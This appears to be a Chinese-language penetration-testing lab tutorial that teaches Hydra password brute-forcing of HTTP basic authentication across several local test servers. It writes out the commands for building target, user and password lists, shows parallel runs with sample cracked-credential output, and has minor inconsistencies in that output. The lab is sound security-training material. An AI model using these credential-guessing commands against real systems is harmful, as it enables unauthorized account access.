简介
在这个实验中,你将学习如何使用 Hydra 工具同时攻击多个目标。该实验重点在于利用 Hydra 的功能,对目标主机列表进行密码破解尝试。
该实验指导你创建包含 IP 地址或主机名的目标列表文件,使用 -M
选项将该文件加载到 Hydra 中,对目标进行并行 HTTP 攻击,最后检查输出以识别成功登录的多台主机。这个实践经验将为你提供使用 Hydra 进行渗透测试和安全审计的实用技能。
在这个实验中,你将学习如何使用 Hydra 工具同时攻击多个目标。该实验重点在于利用 Hydra 的功能,对目标主机列表进行密码破解尝试。
该实验指导你创建包含 IP 地址或主机名的目标列表文件,使用 -M
选项将该文件加载到 Hydra 中,对目标进行并行 HTTP 攻击,最后检查输出以识别成功登录的多台主机。这个实践经验将为你提供使用 Hydra 进行渗透测试和安全审计的实用技能。
本步骤中,你将创建目标列表文件。该文件包含 Hydra 将尝试连接并破解密码的目标 URL 列表。这是任何渗透测试或安全审计场景中的关键步骤。
HTTP 攻击的目标列表文件包含 URL,而不是仅包含 IP 地址。每一行都代表一个需要 HTTP 基本身份验证的目标 Web 服务。在本实验环境中,我们已设置了多个在不同端口上运行且启用基本身份验证的 Apache Web 服务器。
本实验的所有操作都将在 ~/project
目录中执行。
首先,让我们验证我们的测试 Web 服务器是否正在运行:
curl -I http://127.0.0.1:8081/ 2> /dev/null | head -1
curl -I http://127.0.0.1:8082/ 2> /dev/null | head -1
curl -I http://127.0.0.1:8083/ 2> /dev/null | head -1
HTTP/1.1 401 Unauthorized
HTTP/1.1 401 Unauthorized
HTTP/1.1 401 Unauthorized
你应该看到 HTTP 响应头,表明服务器正在运行。
创建包含测试 Web 服务器的目标文件:
cd ~/project
echo "127.0.0.1:8081" > targets.txt
echo "127.0.0.1:8082" >> targets.txt
echo "127.0.0.1:8083" >> targets.txt
这将创建一个包含三个在本地主机上不同端口运行的 HTTP 服务的目标列表:
admin
和密码 password123
进行保护user
和密码 secret
进行保护testuser
和密码 password
进行保护验证文件已创建并包含目标:
cat ~/project/targets.txt
你应该看到类似的输出:
127.0.0.1:8081
127.0.0.1:8082
127.0.0.1:8083
测试其中一个受保护的资源以确认需要身份验证:
curl http://127.0.0.1:8081/
你应该看到 HTTP 401 未授权响应,确认需要基本身份验证。
你现在已成功创建了一个名为 targets.txt
的目标列表文件,该文件位于你的 ~/project
目录中,其中包含需要身份验证的 HTTP 服务。此文件将在下一步中用于将目标加载到 Hydra 中。
本步骤中,你将学习如何使用 -M
选项将你在上一步创建的目标列表文件加载到 Hydra 中。-M
选项指示 Hydra 从文件中读取目标主机列表。当需要测试大量目标时,此选项非常有用。
对于 HTTP 攻击,基本语法如下:
hydra -M <target_file> http-get <path>
其中:
<target_file>
是包含目标主机列表的文件路径。http-get
指定我们正在使用 GET 请求攻击 HTTP 基本身份验证。<path>
是要攻击的 Web 服务器上的路径(例如,/
表示根目录)。让我们构建一个 Hydra 命令,从 targets.txt
文件加载目标并攻击 HTTP 基本身份验证。
创建用于攻击的用户和密码列表:
cd ~/project
echo "admin" > users.txt
echo "user" >> users.txt
echo "testuser" >> users.txt
echo "root" >> users.txt
这将创建一个用户名列表,其中包含我们配置的实际用户名,以及一个常见的用户名 root
。
创建密码列表:
echo "password123" > passwords.txt
echo "secret" >> passwords.txt
echo "password" >> passwords.txt
echo "admin" >> passwords.txt
echo "123456" >> passwords.txt
这将创建一个密码列表,其中包含我们配置的实际密码,以及一些常见的弱密码。
现在,执行 Hydra 命令,从 targets.txt
文件加载目标,并尝试破解 HTTP 基本身份验证:
hydra -L ~/project/users.txt -P ~/project/passwords.txt -M ~/project/targets.txt http-get /
预期结果: 你应该看到 Hydra 正在尝试连接所有三个 HTTP 服务,并成功破解每个服务的密码:
Hydra v9.x (c) 2023 by van Hauser/THC & David Maciejak - 请勿在军事或秘密服务组织或用于非法目的。
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-XX-XX XX:XX:XX
[DATA] max 16 tasks per 1 server, overall 64 tasks, 60 login tries (l:4/p:5), ~1 try per task
[DATA] attacking http-get://127.0.0.1:8081:80/
[DATA] attacking http-get://127.0.0.1:8082:80/
[DATA] attacking http-get://127.0.0.1:8083:80/
[8081][http-get] host: 127.0.0.1 login: admin password: password123
[8082][http-get] host: 127.0.0.1 login: user password: secret
[8083][http-get] host: 127.0.0.1 login: testuser password: password
1 of 3 targets completed, 3 valid passwords found
Hydra finished.
这表明 Hydra 成功找到了所有三个 HTTP 服务的有效凭据。
如果需要,你也可以使用更具体的路径进行测试:
hydra -L ~/project/users.txt -P ~/project/passwords.txt -M ~/project/targets.txt http-get /index.html
在本步骤中,你已成功学习如何使用 Hydra 中的 -M
选项从文件中加载目标进行 HTTP 攻击。这是对具有基本身份验证的 Web 服务进行大规模密码破解攻击的基本技能。
本步骤中,你将学习如何使用 Hydra 执行并发 HTTP 攻击。并发执行攻击显著加快了破解过程,尤其是在处理多个目标时。Hydra 使用 -t
选项允许你指定要运行的并发任务数量。
-t
选项控制 Hydra 将建立的并发连接数。对于 HTTP 攻击,这特别有效,因为 Web 服务器通常比 SSH 服务更好地处理多个并发连接。
让我们修改之前的 Hydra 命令,以指定线程数来运行 HTTP 攻击。
执行以下 Hydra 命令,使用 8 个线程运行 HTTP 攻击:
cd ~/project
hydra -L users.txt -P passwords.txt -t 8 -M targets.txt http-get /
在此命令中,-t 8
选项指示 Hydra 使用 8 个并发线程。这意味着 Hydra 将同时尝试连接多个目标,并并行尝试不同的用户名/密码组合。
预期输出:
Hydra v9.x (c) 2023 by van Hauser/THC & David Maciejak - 请勿在军事或秘密服务组织或用于非法目的。
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-XX-XX XX:XX:XX
[DATA] max 8 tasks per 1 server, overall 24 tasks, 60 login tries (l:4/p:5), ~3 try per task
[DATA] attacking http-get://127.0.0.1:8081:80/
[DATA] attacking http-get://127.0.0.1:8082:80/
[DATA] attacking http-get://127.0.0.1:8083:80/
[8081][http-get] host: 127.0.0.1 login: admin password: password123
[8082][http-get] host: 127.0.0.1 login: user password: secret
[8083][http-get] host: 127.0.0.1 login: testuser password: password
1 of 3 targets completed, 3 valid passwords found
Hydra finished.
尝试使用不同的 -t
选项值。尝试增加线程数,看看它如何影响速度:
hydra -L users.txt -P passwords.txt -t 16 -M targets.txt http-get /
你可能会注意到,使用更多线程,攻击完成得更快,但确切的时间取决于你系统的性能。
你还可以添加详细输出,以查看有关攻击过程的更多详细信息:
hydra -L users.txt -P passwords.txt -t 8 -v -M targets.txt http-get /
-v
标志提供详细输出,显示每次登录尝试,这对于了解 Hydra 正在测试的内容非常有用。
为了获得更详细的输出,可以使用 -V
(非常详细)选项:
hydra -L users.txt -P passwords.txt -t 8 -V -M targets.txt http-get /
HTTP 攻击的重要考虑事项:
http-get
与启用 SSL 的目标一起使用,或使用 https-get
来明确指定 HTTPS。在本步骤中,你已成功学习如何使用 Hydra 的 -t
选项运行并发 HTTP 攻击。此技术对于具有基本身份验证的 Web 应用程序特别有效。
本步骤中,你将学习如何解释 Hydra 在攻击多个 HTTP 目标时产生的输出。Hydra 的输出提供了关于不同 Web 服务的攻击尝试成功或失败的有价值信息。
当 Hydra 成功破解 HTTP 基本身份验证密码时,它会以以下格式显示凭据:
[<端口>][http-get] host: <主机> login: <用户名> password: <密码>
例如:
[8081][http-get] host: 127.0.0.1 login: admin password: password123
这表明 Hydra 成功破解了主机 127.0.0.1
端口 8081
上用户 admin
的 HTTP 基本身份验证,密码为 password123
。
让我们分析 HTTP 攻击的输出,并了解不同结果的含义。
再次运行完整的 Hydra 攻击命令,查看完整的输出:
cd ~/project
hydra -L users.txt -P passwords.txt -t 8 -M targets.txt http-get /
检查详细输出。你应该看到所有三个目标的结果:
预期的完整输出:
Hydra v9.x (c) 2023 by van Hauser/THC & David Maciejak - 请勿在军事或秘密服务组织或用于非法目的。
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-XX-XX XX:XX:XX
[DATA] max 8 tasks per 1 server, overall 24 tasks, 60 login tries (l:4/p:5), ~3 try per task
[DATA] attacking http-get://127.0.0.1:8081:80/
[DATA] attacking http-get://127.0.0.1:8082:80/
[DATA] attacking http-get://127.0.0.1:8083:80/
[8081][http-get] host: 127.0.0.1 login: admin password: password123
[8082][http-get] host: 127.0.0.1 login: user password: secret
[8083][http-get] host: 127.0.0.1 login: testuser password: password
1 of 3 targets completed, 3 valid passwords found
Hydra finished.
为了查看失败尝试的样子,让我们创建一个包含一些无效凭据的场景。创建一个新的密码文件,其中大部分密码都是错误的:
echo "wrongpass" > wrong_passwords.txt
echo "badpass" >> wrong_passwords.txt
echo "password123" >> wrong_passwords.txt ## 只有一个正确的密码
使用详细输出运行 Hydra,查看成功和失败尝试:
hydra -L users.txt -P wrong_passwords.txt -t 4 -v -M targets.txt http-get /
你将看到详细输出,显示成功尝试:
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-05-29 16:22:59
[WARNING] With the -M FILE option you can not specify a server on the commandline. Lets hope you did everything right!
[DATA] max 4 tasks per 3 servers, overall 12 tasks, 12 login tries (l:4/p:3), ~3 tries per task
[DATA] attacking http-get://(3 targets):80/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[8081][http-get] host: 127.0.0.1 login: admin password: password123
[STATUS] attack finished for 127.0.0.1 (waiting for children to complete tests)
[STATUS] attack finished for 127.0.0.1 (waiting for children to complete tests)
[STATUS] attack finished for 127.0.0.1 (waiting for children to complete tests)
3 of 3 targets successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-05-29 16:22:59
将结果保存到文件中,以便以后分析:
hydra -L users.txt -P passwords.txt -t 8 -M targets.txt http-get / -o hydra_results.txt
检查结果文件:
cat hydra_results.txt
如何解释 HTTP 攻击结果:
[端口][http-get]
开头的行显示成功发现的凭据。-o
将仅成功结果保存到文件中,以便轻松分析。与其他协议的关键区别:
在本步骤中,你学习了如何解释 Hydra 在攻击多个 HTTP 目标时的输出,理解成功尝试和失败尝试之间的区别,以及保存结果进行分析。这些知识对于有效的 Web 应用程序安全测试至关重要。
在本实验中,你学习了如何使用 Hydra 对多个目标进行攻击,以针对具有基本身份验证的 HTTP 服务。你创建了一个目标列表文件,其中包含多个运行在不同端口上的 Web 服务器,每个服务器都使用不同的用户名和密码组合进行基本身份验证保护。
你了解了如何使用 -M
选项从文件中加载多个目标,从而高效地同时攻击众多 Web 服务。该实验演示了如何使用 -t
选项控制并发线程以加快 HTTP 攻击速度,并且你学习了如何解释 Hydra 的输出,以识别跨多个目标的成功身份验证尝试。
这种方法对于 Web 应用程序安全测试尤其有价值,在测试多个服务、虚拟主机或 Web 服务器上不同路径的基本身份验证时,这种方法非常有用。你学习的技术为在容器化环境中进行全面的 Web 应用程序安全评估奠定了基础。